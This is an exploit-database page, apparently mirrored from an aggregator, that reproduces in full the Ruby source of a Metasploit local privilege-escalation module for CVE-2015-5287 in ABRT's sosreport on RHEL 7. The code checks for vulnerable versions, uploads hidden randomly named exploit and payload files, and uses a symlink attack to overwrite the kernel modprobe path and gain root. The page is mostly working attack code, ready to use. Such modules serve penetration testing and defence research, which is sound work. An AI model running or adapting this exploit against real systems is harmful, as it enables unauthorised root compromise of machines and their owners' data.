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"ABRT - sosreport Privilege Escalation (Metasploit)"

Author

Exploit author

Metasploit

Platform

Exploit platform

linux

Release date

Exploit published date

2019-09-25

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ABRT sosreport Privilege Escalation',
      'Description'    => %q{
        This module attempts to gain root privileges on RHEL systems with
        a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured
        as the crash handler.

        `sosreport` uses an insecure temporary directory, allowing local users
        to write to arbitrary files (CVE-2015-5287). This module uses a symlink
        attack on `/var/tmp/abrt/cc-*$pid/` to overwrite the `modprobe` path
        in `/proc/sys/kernel/modprobe`, resulting in root privileges.

        Waiting for `sosreport` could take a few minutes.

        This module has been tested successfully on:

        abrt 2.1.11-12.el7 on RHEL 7.0 x86_64; and
        abrt 2.1.11-19.el7 on RHEL 7.1 x86_64.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'rebel', # Discovery and sosreport-rhel7.py exploit
          'bcoles' # Metasploit
        ],
      'DisclosureDate' => '2015-11-23',
      'Platform'       => ['linux'],
      'Arch'           =>
        [
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
      'SessionTypes'   => ['shell', 'meterpreter'],
      'Targets'        => [[ 'Auto', {} ]],
      'References'     =>
        [
          ['BID', '78137'],
          ['CVE', '2015-5287'],
          ['EDB', '38832'],
          ['URL', 'https://www.openwall.com/lists/oss-security/2015/12/01/1'],
          ['URL', 'https://access.redhat.com/errata/RHSA-2015:2505'],
          ['URL', 'https://access.redhat.com/security/cve/CVE-2015-5287'],
          ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1266837']
        ]
    ))
    register_options [
      OptInt.new('TIMEOUT', [true, 'Timeout for sosreport (seconds)', '600'])
    ]
    register_advanced_options [
      OptBool.new('ForceExploit',  [false, 'Override check result', false]),
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ]
  end

  def base_dir
    datastore['WritableDir']
  end

  def timeout
    datastore['TIMEOUT']
  end

  def check
    kernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern'
    unless kernel_core_pattern.include? 'abrt-hook-ccpp'
      vprint_error 'System is not configured to use ABRT for crash reporting'
      return CheckCode::Safe
    end
    vprint_good 'System is configured to use ABRT for crash reporting'

    if cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive'
      vprint_error 'abrt-ccp service not running'
      return CheckCode::Safe
    end
    vprint_good 'abrt-ccpp service is running'

    # Patched in 2.1.11-35.el7
    pkg_info = cmd_exec('yum list installed abrt | grep abrt').to_s
    abrt_version = pkg_info[/^abrt.*$/].to_s.split(/\s+/)[1]
    if abrt_version.blank?
      vprint_status 'Could not retrieve ABRT package version'
      return CheckCode::Safe
    end
    unless Gem::Version.new(abrt_version) < Gem::Version.new('2.1.11-35.el7')
      vprint_status "ABRT package version #{abrt_version} is not vulnerable"
      return CheckCode::Safe
    end
    vprint_good "ABRT package version #{abrt_version} is vulnerable"

    unless command_exists? 'python'
      vprint_error 'python is not installed'
      return CheckCode::Safe
    end
    vprint_good 'python is installed'

    CheckCode::Appears
  end

  def upload_and_chmodx(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    chmod path
    register_file_for_cleanup path
  end

  def exploit
    unless check == CheckCode::Appears
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end

    if is_root?
      unless datastore['ForceExploit']
        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
      end
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    exe_data = ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2015-5287', 'sosreport-rhel7.py')
    exe_name = ".#{rand_text_alphanumeric 5..10}"
    exe_path = "#{base_dir}/#{exe_name}"
    upload_and_chmodx exe_path, exe_data

    payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
    upload_and_chmodx payload_path, generate_payload_exe

    register_file_for_cleanup '/tmp/hax.sh'

    print_status "Launching exploit - This might take a few minutes (Timeout: #{timeout}s) ..."
    output = cmd_exec "echo \"#{payload_path}& exit\" | #{exe_path}", nil, timeout
    output.each_line { |line| vprint_status line.chomp }
  end
end
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import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47421/?format=json')

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